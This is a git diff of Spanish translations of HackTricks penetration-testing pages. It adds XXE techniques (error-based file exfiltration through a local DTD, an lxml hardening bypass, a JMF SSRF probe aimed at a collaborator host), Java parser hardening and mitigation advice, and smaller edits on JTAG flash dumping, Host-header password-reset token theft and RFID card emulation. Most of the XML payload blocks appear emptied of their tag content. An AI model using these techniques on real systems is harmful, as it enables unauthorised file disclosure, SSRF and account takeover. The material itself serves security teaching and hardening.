+1. Identificar o crear un DTD *local* en el disco que defina una entidad de parámetro **no definida** (por ejemplo, `%config_hex;`).
+2. Crear un DTD interno que:
+* Cargue el DTD local con ``.
+* Redefina la entidad no definida para que:
+- Lea el archivo objetivo (``).
+- Construya otra entidad de parámetro que se refiera a una **ruta inválida** que contenga el valor `%flag;` y desencadene un error del analizador (`">`).
+3. Finalmente, expandir `%local_dtd;` y `%eval;` para que el analizador encuentre `%error;`, no pueda abrir `/aaa/` y filtre la bandera dentro de la excepción lanzada, que a menudo es devuelta al usuario por la aplicación.
+```xml
+
+
+">
+%eval;'>
+%local_dtd;
+]>
+```
+Cuando la aplicación imprime la excepción, la respuesta contiene:
+```
+Error : failed to load external entity "file:///aaa/FLAG{secret}"
+```
+> [!TIP]
+> Si el analizador se queja sobre los caracteres `%`/`&` dentro del subconjunto interno, codifícalos dos veces (`&#x25;` ⇒ `%`) para retrasar la expansión.
+
+#### 2. Eludir el endurecimiento de lxml 5.4.0 (libxml2 aún vulnerable)
+`lxml` ≥ 5.4.0 prohíbe entidades de parámetros *error* como la anterior, pero **libxml2** aún permite que se incrusten en una entidad *general*. El truco es:
+1. Leer el archivo en una entidad de parámetro `%file`.
+2. Declarar otra entidad de parámetro que construya una entidad **general** `c` cuyo identificador SYSTEM use un *protocolo inexistente* como `meow://%file;`.
+3. Colocar `&c;` en el cuerpo XML. Cuando el analizador intenta desreferenciar `meow://…`, falla y refleja la URI completa – incluidos los contenidos del archivo – en el mensaje de error.
+```xml
+
+">
+'>
+%a; %b;
+]>
+&c;
+```
+#### Conclusiones clave
+* **Las entidades de parámetro** aún se expanden por libxml2 incluso cuando `resolve_entities` debería bloquear XXE.
+* Una **URI inválida** o un **archivo inexistente** son suficientes para concatenar datos controlados en la excepción lanzada.
+* La técnica funciona **sin conectividad saliente**, lo que la hace ideal para entornos con filtrado de salida estricto.
+
+#### Orientación de mitigación
+* Actualice a **lxml ≥ 5.4.0** y asegúrese de que la **libxml2** subyacente sea **≥ 2.13.8**.
+* Desactive `load_dtd` y/o `resolve_entities` a menos que sea absolutamente necesario.
+* Evite devolver errores de analizador en bruto al cliente.
+
+### Ejemplo de endurecimiento de Java DocumentBuilderFactory
+
+Las aplicaciones Java frecuentemente analizan XML usando `DocumentBuilderFactory`. Por defecto, la fábrica **permite la resolución de entidades externas**, lo que la hace vulnerable a XXE y SSRF si no se establecen banderas de endurecimiento adicionales:
+```java
+DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
+```
+Ejemplo de configuración segura:
+```java
+DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+
+// Completely forbid any DOCTYPE declarations (best-effort defence)
+dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
+
+// Disable expansion of external entities
+dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
+dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
+
+// Enable "secure processing" which applies additional limits
+dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);
+
+// Defensive extras
+dbf.setXIncludeAware(false);
+dbf.setExpandEntityReferences(false);
+
+DocumentBuilder builder = dbf.newDocumentBuilder();
+```
+Si la aplicación debe admitir DTDs internamente, mantenga `disallow-doctype-decl` deshabilitado pero **siempre** deje las dos características `external-*-entities` configuradas en `false`. La combinación previene cargas útiles clásicas de divulgación de archivos (`file:///etc/passwd`) así como vectores SSRF basados en red (`http://169.254.169.254/…`, protocolo `jar:`, etc.).
+
+Estudio de caso del mundo real: **CVE-2025-27136** en el emulador Java S3 *LocalS3* utilizó el constructor vulnerable mostrado arriba. Un atacante no autenticado podría suministrar un cuerpo XML manipulado al endpoint `CreateBucketConfiguration` y hacer que el servidor incruste archivos locales (por ejemplo, `/etc/passwd`) en la respuesta HTTP.
+
+### XXE en JMF/Servicios de Orquestación de Impresión → SSRF
+
+Algunas plataformas de flujo de trabajo/orquestación de impresión exponen un oyente de Formato de Mensajería de Trabajo (JMF) orientado a la red que acepta XML a través de TCP. Si el analizador subyacente acepta un `DOCTYPE` y resuelve entidades externas, puede aprovechar un XXE clásico para forzar al servidor a realizar solicitudes salientes (SSRF) o acceder a recursos locales.
+
+Puntos clave observados en la naturaleza:
+- Oyente de red (por ejemplo, cliente JMF) en un puerto dedicado (comúnmente 4004 en Xerox FreeFlow Core).
+- Análisis XML basado en Java dentro de un jar (por ejemplo, `jmfclient.jar`) sin `disallow-doctype-decl` o resolución de entidades deshabilitada.
+- Las llamadas fuera de banda confirman de manera confiable la explotación.
+
+Sonda SSRF mínima estilo JMF (la estructura varía según el producto, pero el DOCTYPE es lo que importa):
+```xml
+
+
+]>
+
+&probe;
+
+```
+Notas:
+- Reemplace la URL de la entidad con su colaborador. Si SSRF es posible, el servidor lo resolverá mientras analiza el mensaje.
+- Endurecimientos a buscar: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`.
+- Incluso cuando el puerto JMF no sirva archivos, SSRF puede encadenarse para reconocimiento interno o para acceder a APIs de gestión vinculadas a localhost.
+
+Referencias para este vector se enumeran al final de la página.
+
+## Referencias
+
+- [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/)
 
 - [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
 - [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
-- Extraer información a través de HTTP usando DTD externo propio: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
+- Extraer información a través de HTTP utilizando su propio DTD externo: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
 - [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
 - [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
 - [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
 - [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
 
+- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
+- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
+- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
+- [Xerox FreeFlow Core Security Guide (architecture/ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf)
+- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
+
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/reversing/reversing-tools-basic-methods/README.md b/src/reversing/reversing-tools-basic-methods/README.md
index a577a47bb..4f0b46e8b 100644
--- a/src/reversing/reversing-tools-basic-methods/README.md
+++ b/src/reversing/reversing-tools-basic-methods/README.md
@@ -27,7 +27,7 @@ Software:
 
 dotPeek es un descompilador que **descompila y examina múltiples formatos**, incluyendo **bibliotecas** (.dll), **archivos de metadatos de Windows** (.winmd) y **ejecutables** (.exe). Una vez descompilado, un ensamblaje puede ser guardado como un proyecto de Visual Studio (.csproj).
 
-El mérito aquí es que si un código fuente perdido requiere restauración desde un ensamblaje legado, esta acción puede ahorrar tiempo. Además, dotPeek proporciona una navegación útil a través del código descompilado, convirtiéndolo en una de las herramientas perfectas para **análisis de algoritmos de Xamarin.**
+El mérito aquí es que si un código fuente perdido requiere restauración desde un ensamblaje legado, esta acción puede ahorrar tiempo. Además, dotPeek proporciona una navegación útil a través del código descompilado, convirtiéndolo en una de las herramientas perfectas para el **análisis de algoritmos de Xamarin.**
 
 ### [.NET Reflector](https://www.red-gate.com/products/reflector/)
 
@@ -47,7 +47,7 @@ Si necesitas **descompilar**, **modificar** y **recompilar** de nuevo, puedes us
 
 ### Registro de DNSpy
 
-Para hacer que **DNSpy registre alguna información en un archivo**, podrías usar este fragmento:
+Para hacer que **DNSpy registre información en un archivo**, podrías usar este fragmento:
 ```cs
 using System.IO;
 path = "C:\\inetpub\\temp\\MyTest2.txt";
@@ -70,17 +70,17 @@ DebuggableAttribute.DebuggingModes.DisableOptimizations |
 DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
 DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
 ```
-Y haz clic en **compile**:
+Y haz clic en **compilar**:
 
 ![](<../../images/image (314) (1).png>)
 
-Luego guarda el nuevo archivo a través de _**File >> Save module...**_:
+Luego guarda el nuevo archivo a través de _**Archivo >> Guardar módulo...**_:
 
 ![](<../../images/image (602).png>)
 
-Esto es necesario porque si no lo haces, en **runtime** se aplicarán varias **optimisations** al código y podría ser posible que mientras depuras un **break-point nunca se alcance** o algunas **variables no existan**.
+Esto es necesario porque si no lo haces, en **tiempo de ejecución** se aplicarán varias **optimizaciones** al código y podría ser posible que al depurar un **punto de interrupción nunca se active** o que algunas **variables no existan**.
 
-Luego, si tu aplicación .NET está siendo **run** por **IIS**, puedes **restart** con:
+Luego, si tu aplicación .NET está siendo **ejecutada** por **IIS**, puedes **reiniciarla** con:
 ```
 iisreset /noforce
 ```
@@ -88,7 +88,7 @@ Luego, para comenzar a depurar, debes cerrar todos los archivos abiertos y dentr
 
 ![](<../../images/image (318).png>)
 
-Luego selecciona **w3wp.exe** para adjuntarlo al **servidor IIS** y haz clic en **attach**:
+Luego selecciona **w3wp.exe** para adjuntarte al **servidor IIS** y haz clic en **attach**:
 
 ![](<../../images/image (113).png>)
 
@@ -125,7 +125,7 @@ Haz clic derecho en cualquier módulo en **Assembly Explorer** y haz clic en **S
 
 ![](<../../images/image (704).png>)
 
-Luego, cuando comiences a depurar **la ejecución se detendrá cuando se cargue cada DLL**, luego, cuando rundll32 cargue tu DLL, la ejecución se detendrá.
+Luego, cuando comiences a depurar, **la ejecución se detendrá cuando se cargue cada DLL**, luego, cuando rundll32 cargue tu DLL, la ejecución se detendrá.
 
 Pero, ¿cómo puedes llegar al código de la DLL que fue cargada? Usando este método, no sé cómo.
 
@@ -140,7 +140,7 @@ Ten en cuenta que cuando la ejecución se detiene por cualquier razón en win64d
 
 ![](<../../images/image (842).png>)
 
-Luego, mirando esto puedes ver cuándo se detuvo la ejecución en la dll que deseas depurar.
+Luego, mirando esto, puedes ver cuándo se detuvo la ejecución en la dll que deseas depurar.
 
 ## Aplicaciones GUI / Videojuegos
 
@@ -150,7 +150,7 @@ Luego, mirando esto puedes ver cuándo se detuvo la ejecución en la dll que des
 cheat-engine.md
 {{#endref}}
 
-[**PiNCE**](https://github.com/korcankaraokcu/PINCE) es una herramienta de interfaz/reverse engineering para el depurador del Proyecto GNU (GDB), enfocada en juegos. Sin embargo, se puede usar para cualquier cosa relacionada con la ingeniería inversa.
+[**PiNCE**](https://github.com/korcankaraokcu/PINCE) es una herramienta de interfaz/reversa para el Depurador del Proyecto GNU (GDB), enfocada en juegos. Sin embargo, se puede usar para cualquier cosa relacionada con la ingeniería inversa.
 
 [**Decompiler Explorer**](https://dogbolt.org/) es una interfaz web para varios descompiladores. Este servicio web te permite comparar la salida de diferentes descompiladores en pequeños ejecutables.
 
@@ -168,7 +168,7 @@ https://github.com/nongiach/arm_now
 Luego, necesitas **adjuntar un depurador** (Ida o x64dbg) al proceso y poner un **punto de interrupción en la dirección de memoria indicada** y **reanudar** la ejecución. De esta manera estarás depurando el shellcode.
 
 La página de lanzamientos de github contiene zips con los lanzamientos compilados: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
-Puedes encontrar una versión ligeramente modificada de Blobrunner en el siguiente enlace. Para compilarlo, simplemente **crea un proyecto C/C++ en Visual Studio Code, copia y pega el código y compílalo**.
+Puedes encontrar una versión ligeramente modificada de Blobrunner en el siguiente enlace. Para compilarlo, simplemente **crea un proyecto en C/C++ en Visual Studio Code, copia y pega el código y compílalo**.
 
 {{#ref}}
 blobrunner.md
@@ -176,7 +176,7 @@ blobrunner.md
 
 ### Depurando un shellcode con jmp2it
 
-[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) es muy similar a blobrunner. **Asignará** el **shellcode** dentro de un espacio de memoria y comenzará un **bucle eterno**. Luego necesitas **adjuntar el depurador** al proceso, **jugar, esperar 2-5 segundos y presionar detener** y te encontrarás dentro del **bucle eterno**. Salta a la siguiente instrucción del bucle eterno ya que será una llamada al shellcode, y finalmente te encontrarás ejecutando el shellcode.
+[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) es muy similar a blobrunner. **Asignará** el **shellcode** dentro de un espacio de memoria y comenzará un **bucle eterno**. Luego necesitas **adjuntar el depurador** al proceso, **presionar iniciar, esperar 2-5 segundos y presionar detener** y te encontrarás dentro del **bucle eterno**. Salta a la siguiente instrucción del bucle eterno ya que será una llamada al shellcode, y finalmente te encontrarás ejecutando el shellcode.
 
 ![](<../../images/image (509).png>)
 
@@ -186,7 +186,7 @@ Puedes descargar una versión compilada de [jmp2it en la página de lanzamientos
 
 [**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) es la GUI de radare. Usando cutter puedes emular el shellcode e inspeccionarlo dinámicamente.
 
-Ten en cuenta que Cutter te permite "Open File" y "Open Shellcode". En mi caso, cuando abrí el shellcode como un archivo, lo descompiló correctamente, pero cuando lo abrí como un shellcode no lo hizo:
+Ten en cuenta que Cutter te permite "Abrir Archivo" y "Abrir Shellcode". En mi caso, cuando abrí el shellcode como un archivo, lo descompiló correctamente, pero cuando lo abrí como un shellcode no lo hizo:
 
 ![](<../../images/image (562).png>)
 
@@ -203,7 +203,7 @@ Puedes ver la pila, por ejemplo, dentro de un volcado hexadecimal:
 ### Desofuscando shellcode y obteniendo funciones ejecutadas
 
 Deberías probar [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152).\
-Te dirá cosas como **qué funciones** está utilizando el shellcode y si el shellcode se está **decodificando** a sí mismo en memoria.
+Te dirá cosas como **qué funciones** está utilizando el shellcode y si el shellcode se **decodifica** a sí mismo en memoria.
 ```bash
 scdbg.exe -f shellcode # Get info
 scdbg.exe -f shellcode -r #show analysis report at end of run
@@ -251,7 +251,7 @@ Teniendo el **nombre** de las **funciones** que se están llamando, búscalas en
 
 Para binarios compilados en Delphi puedes usar [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
 
-Si tienes que revertir un binario de Delphi, te sugeriría usar el plugin de IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
+Si tienes que hacer ingeniería inversa a un binario de Delphi, te sugeriría usar el plugin de IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
 
 Solo presiona **ATL+f7** (importar plugin de python en IDA) y selecciona el plugin de python.
 
@@ -261,7 +261,7 @@ También es muy interesante porque si presionas un botón en la aplicación grá
 
 ## Golang
 
-Si tienes que revertir un binario de Golang, te sugeriría usar el plugin de IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
+Si tienes que hacer ingeniería inversa a un binario de Golang, te sugeriría usar el plugin de IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
 
 Solo presiona **ATL+f7** (importar plugin de python en IDA) y selecciona el plugin de python.
 
@@ -271,6 +271,7 @@ Esto resolverá los nombres de las funciones.
 
 En esta página puedes encontrar cómo obtener el código python de un binario compilado en ELF/EXE:
 
+
 {{#ref}}
 ../../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
 {{#endref}}
@@ -301,7 +302,7 @@ DOWN = 128
 R = 256
 L = 256
 ```
-Así que, en este tipo de programa, la parte interesante será **cómo el programa trata la entrada del usuario**. En la dirección **0x4000130** encontrarás la función comúnmente encontrada: **KEYINPUT**.
+Entonces, en este tipo de programa, la parte interesante será **cómo el programa trata la entrada del usuario**. En la dirección **0x4000130** encontrarás la función comúnmente encontrada: **KEYINPUT**.
 
 ![](<../../images/image (447).png>)
 
@@ -374,7 +375,7 @@ En el código anterior, puedes ver que estamos comparando **uVar1** (el lugar do
 - Luego, se compara con el **valor 8** (**botón START**): En el desafío, esto verifica si el código es válido para obtener la bandera.
 - En este caso, la var **`DAT_030000d8`** se compara con 0xf3 y si el valor es el mismo, se ejecuta algún código.
 - En cualquier otro caso, se verifica algún cont (`DAT_030000d4`). Es un cont porque se suma 1 justo después de entrar en el código.\
-**Si** es menor que 8, se realiza algo que implica **sumar** valores a **`DAT_030000d8`** (básicamente, se suman los valores de las teclas presionadas en esta variable siempre que el cont sea menor que 8).
+**Si** es menor que 8, se realiza algo que involucra **sumar** valores a **`DAT_030000d8`** (básicamente, se suman los valores de las teclas presionadas en esta variable siempre que el cont sea menor que 8).
 
 Así que, en este desafío, conociendo los valores de los botones, necesitabas **presionar una combinación con una longitud menor que 8 cuya suma resultante sea 0xf3.**
 
@@ -382,6 +383,7 @@ Así que, en este desafío, conociendo los valores de los botones, necesitabas *
 
 ## Game Boy
 
+
 {{#ref}}
 https://www.youtube.com/watch?v=VVbRe7wr3G4
 {{#endref}}
diff --git a/src/todo/burp-suite.md b/src/todo/burp-suite.md
index c1b53368f..6a53cee20 100644
--- a/src/todo/burp-suite.md
+++ b/src/todo/burp-suite.md
@@ -6,7 +6,7 @@
 
 - **Lista Simple:** Solo una lista que contiene una entrada en cada línea
 - **Archivo en Tiempo de Ejecución:** Una lista leída en tiempo de ejecución (no cargada en memoria). Para soportar listas grandes.
-- **Modificación de Caso:** Aplicar algunos cambios a una lista de cadenas (Sin cambio, a minúsculas, a MAYÚSCULAS, a Nombre Propio - Primera letra en mayúscula y el resto en minúsculas-, a Nombre Propio -Primera letra en mayúscula y el resto permanece igual-).
+- **Modificación de Caso:** Aplicar algunos cambios a una lista de cadenas (Sin cambio, a minúsculas, a MAYÚSCULAS, a Nombre Propio - Primera letra en mayúscula y el resto en minúsculas-, a Nombre Propio - Primera letra en mayúscula y el resto permanece igual-).
 - **Números:** Generar números de X a Y usando Z pasos o aleatoriamente.
 - **Fuerza Bruta:** Conjunto de caracteres, longitud mínima y máxima.
 
diff --git a/src/todo/hardware-hacking/jtag.md b/src/todo/hardware-hacking/jtag.md
index 28ccdb27e..0b49ea4a5 100644
--- a/src/todo/hardware-hacking/jtag.md
+++ b/src/todo/hardware-hacking/jtag.md
@@ -2,6 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
+
 {{#ref}}
 README.md
 {{#endref}}
@@ -11,7 +12,7 @@ README.md
 [**JTAGenum**](https://github.com/cyphunk/JTAGenum) es una herramienta que puedes cargar en un MCU compatible con Arduino o (experimentalmente) en una Raspberry Pi para forzar la búsqueda de pinouts JTAG desconocidos e incluso enumerar registros de instrucciones.
 
 - Arduino: conecta los pines digitales D2–D11 a hasta 10 pads/puntos de prueba JTAG sospechosos, y GND de Arduino a GND del objetivo. Alimenta el objetivo por separado a menos que sepas que la línea es segura. Prefiere lógica de 3.3 V (por ejemplo, Arduino Due) o usa un convertidor de nivel/resistencias en serie al sondear objetivos de 1.8–3.3 V.
-- Raspberry Pi: la construcción de Pi expone menos GPIO utilizables (por lo que los escaneos son más lentos); consulta el repositorio para el mapa de pines actual y las limitaciones.
+- Raspberry Pi: la construcción de Pi expone menos GPIO utilizables (por lo que los escaneos son más lentos); consulta el repositorio para el mapa de pines actual y las restricciones.
 
 Una vez flasheado, abre el monitor serial a 115200 baudios y envía `h` para ayuda. Flujo típico:
 
@@ -19,7 +20,7 @@ Una vez flasheado, abre el monitor serial a 115200 baudios y envía `h` para ayu
 - `r` alternar pull‑ups internos si es necesario
 - `s` escanear para TCK/TMS/TDI/TDO (y a veces TRST/SRST)
 - `y` forzar IR para descubrir opcodes no documentados
-- `x` instantánea de escaneo de frontera de estados de pines
+- `x` instantánea de escaneo de límite de estados de pines
 
 ![](<../../images/image (939).png>)
 
@@ -27,16 +28,18 @@ Una vez flasheado, abre el monitor serial a 115200 baudios y envía `h` para ayu
 
 ![](<../../images/image (774).png>)
 
+
+
 Si se encuentra un TAP válido, verás líneas que comienzan con `FOUND!` indicando pines descubiertos.
 
 Consejos
 - Siempre comparte tierra, y nunca impulsa pines desconocidos por encima de Vtref del objetivo. Si tienes dudas, añade resistencias en serie de 100–470 Ω en los pines candidatos.
 - Si el dispositivo utiliza SWD/SWJ en lugar de JTAG de 4 hilos, JTAGenum puede no detectarlo; prueba herramientas SWD o un adaptador que soporte SWJ‑DP.
 
-## Búsqueda de pines más segura y configuración de hardware
+## Caza de pines más segura y configuración de hardware
 
 - Identifica Vtref y GND primero con un multímetro. Muchos adaptadores necesitan Vtref para establecer el voltaje de I/O.
-- Cambio de nivel: prefiere convertidores de nivel bidireccionales diseñados para señales push‑pull (las líneas JTAG no son de drenaje abierto). Evita convertidores I2C de auto-dirección para JTAG.
+- Cambio de nivel: prefiere convertidores de nivel bidireccionales diseñados para señales push‑pull (las líneas JTAG no son de drenaje abierto). Evita convertidores I2C de dirección automática para JTAG.
 - Adaptadores útiles: placas FT2232H/FT232H (por ejemplo, Tigard), CMSIS‑DAP, J‑Link, ST‑LINK (específicos del proveedor), ESP‑USB‑JTAG (en ESP32‑Sx). Conecta al menos TCK, TMS, TDI, TDO, GND y Vtref; opcionalmente TRST y SRST.
 
 ## Primer contacto con OpenOCD (escaneo e IDCODE)
@@ -59,6 +62,8 @@ Notas
 ## Detener la CPU y volcar memoria/flash
 
 Una vez que se reconoce el TAP y se elige un script de destino, puedes detener el núcleo y volcar regiones de memoria o flash interno. Ejemplos (ajusta el destino, las direcciones base y los tamaños):
+
+- Destino genérico después de la inicialización:
 ```
 openocd -f interface/jlink.cfg -f target/stm32f1x.cfg \
 -c "init; reset halt; mdw 0x08000000 4; dump_image flash.bin 0x08000000 0x00100000; shutdown"
@@ -74,7 +79,7 @@ openocd -f board/esp32s3-builtin.cfg \
 -c "program_esp app.bin 0x10000 verify exit"
 ```
 Tips
-- Usa `mdw/mdh/mdb` para verificar la memoria antes de volcar grandes cantidades.
+- Usa `mdw/mdh/mdb` para verificar la memoria antes de volcarla.
 - Para cadenas de múltiples dispositivos, establece BYPASS en no objetivos o usa un archivo de placa que defina todos los TAPs.
 
 ## Trucos de escaneo de límites (EXTEST/SAMPLE)
@@ -98,15 +103,15 @@ Necesitas el BSDL del dispositivo para conocer el orden de los bits del registro
 ## Objetivos modernos y notas
 
 - ESP32‑S3/C3 incluyen un puente USB‑JTAG nativo; OpenOCD puede comunicarse directamente a través de USB sin una sonda externa. Muy conveniente para triage y volcados.
-- La depuración RISC‑V (v0.13+) es ampliamente soportada por OpenOCD; se prefiere SBA para el acceso a memoria cuando el núcleo no puede ser detenido de manera segura.
+- La depuración de RISC‑V (v0.13+) es ampliamente soportada por OpenOCD; se prefiere SBA para el acceso a memoria cuando el núcleo no puede ser detenido de manera segura.
 - Muchos MCU implementan autenticación de depuración y estados de ciclo de vida. Si JTAG parece muerto pero la alimentación es correcta, el dispositivo puede estar fusionado en un estado cerrado o requiere una sonda autenticada.
 
 ## Defensas y endurecimiento (qué esperar en dispositivos reales)
 
 - Desactivar permanentemente o bloquear JTAG/SWD en producción (por ejemplo, STM32 RDP nivel 2, eFuses de ESP que desactivan PAD JTAG, NXP/Nordic APPROTECT/DPAP).
 - Requerir depuración autenticada (ARMv8.2‑A ADIv6 Autenticación de Depuración, desafío-respuesta gestionado por OEM) mientras se mantiene el acceso de fabricación.
-- No enrutar almohadillas de prueba fáciles; enterrar vías de prueba, quitar/poblar resistencias para aislar TAP, usar conectores con codificación o fijaciones de pogo-pin.
-- Bloqueo de depuración al encender: proteger el TAP detrás de un ROM temprano que impone un arranque seguro.
+- No enrutar almohadillas de prueba fáciles; enterrar vías de prueba, eliminar/poblar resistencias para aislar TAP, usar conectores con codificación o fijaciones de pogo-pin.
+- Bloqueo de depuración al encender: colocar el TAP detrás de un ROM temprano que imponga un arranque seguro.
 
 ## Referencias
 
diff --git a/src/todo/other-web-tricks.md b/src/todo/other-web-tricks.md
index 2db8451e6..28238e898 100644
--- a/src/todo/other-web-tricks.md
+++ b/src/todo/other-web-tricks.md
@@ -4,10 +4,10 @@
 
 ### Encabezado Host
 
-Varias veces el back-end confía en el **encabezado Host** para realizar algunas acciones. Por ejemplo, podría usar su valor como el **dominio para enviar un restablecimiento de contraseña**. Así que cuando recibes un correo electrónico con un enlace para restablecer tu contraseña, el dominio que se utiliza es el que pusiste en el encabezado Host. Luego, puedes solicitar el restablecimiento de contraseña de otros usuarios y cambiar el dominio a uno controlado por ti para robar sus códigos de restablecimiento de contraseña. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
+Varias veces el back-end confía en el **encabezado Host** para realizar algunas acciones. Por ejemplo, podría usar su valor como el **dominio para enviar un restablecimiento de contraseña**. Así que cuando recibes un correo electrónico con un enlace para restablecer tu contraseña, el dominio que se está utilizando es el que pusiste en el encabezado Host. Luego, puedes solicitar el restablecimiento de contraseña de otros usuarios y cambiar el dominio a uno controlado por ti para robar sus códigos de restablecimiento de contraseña. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
 
 > [!WARNING]
-> Ten en cuenta que es posible que ni siquiera necesites esperar a que el usuario haga clic en el enlace de restablecimiento de contraseña para obtener el token, ya que incluso **los filtros de spam u otros dispositivos/bots intermedios pueden hacer clic en él para analizarlo**.
+> Ten en cuenta que es posible que ni siquiera necesites esperar a que el usuario haga clic en el enlace de restablecimiento de contraseña para obtener el token, ya que tal vez incluso **los filtros de spam u otros dispositivos/bots intermedios harán clic en él para analizarlo**.
 
 ### Booleanos de sesión
 
@@ -16,13 +16,13 @@ Sin embargo, si **pasas la verificación** y tu sesión recibe ese valor "True"
 
 ### Funcionalidad de registro
 
-Intenta registrarte como un usuario ya existente. También prueba usando caracteres equivalentes (puntos, muchos espacios y Unicode).
+Intenta registrarte como un usuario ya existente. También intenta usar caracteres equivalentes (puntos, muchos espacios y Unicode).
 
 ### Toma de correos electrónicos
 
 Registra un correo electrónico, antes de confirmarlo cambia el correo, luego, si el nuevo correo de confirmación se envía al primer correo registrado, puedes tomar cualquier correo. O si puedes habilitar el segundo correo confirmando el primero, también puedes tomar cualquier cuenta.
 
-### Acceso al servicio interno de atención al cliente de empresas que usan Atlassian
+### Acceso al servicio interno de atención al cliente de empresas que utilizan Atlassian
 
 {{#ref}}
 https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
@@ -30,7 +30,7 @@ https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
 
 ### Método TRACE
 
-Los desarrolladores pueden olvidar deshabilitar varias opciones de depuración en el entorno de producción. Por ejemplo, el método HTTP `TRACE` está diseñado para fines de diagnóstico. Si está habilitado, el servidor web responderá a las solicitudes que utilicen el método `TRACE` replicando en la respuesta la solicitud exacta que se recibió. Este comportamiento a menudo es inofensivo, pero ocasionalmente conduce a la divulgación de información, como el nombre de los encabezados de autenticación internos que pueden ser añadidos a las solicitudes por proxies inversos.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
+Los desarrolladores pueden olvidar deshabilitar varias opciones de depuración en el entorno de producción. Por ejemplo, el método HTTP `TRACE` está diseñado para fines de diagnóstico. Si está habilitado, el servidor web responderá a las solicitudes que utilicen el método `TRACE` repitiendo en la respuesta la solicitud exacta que se recibió. Este comportamiento a menudo es inofensivo, pero ocasionalmente conduce a la divulgación de información, como el nombre de los encabezados de autenticación internos que pueden ser añadidos a las solicitudes por proxies inversos.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
 
 ![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)
 
diff --git a/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md b/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md
index 7d6b1564b..8f9c5924f 100644
--- a/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md
+++ b/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md
@@ -7,6 +7,7 @@
 
 Para más información sobre cómo funcionan las etiquetas de 125kHz, consulta:
 
+
 {{#ref}}
 ../pentesting-rfid.md
 {{#endref}}
@@ -24,7 +25,7 @@ Intenta **leer** la información de la tarjeta. Luego puede **emularlas**.
 
 ### Add Manually
 
-Puedes crear **tarjetas falsas en Flipper Zero indicando los datos** manualmente y luego emularlas.
+Puedes crear **tarjetas falsas en Flipper Zero indicando los datos** que introduces manualmente y luego emularla.
 
 #### IDs on cards
 
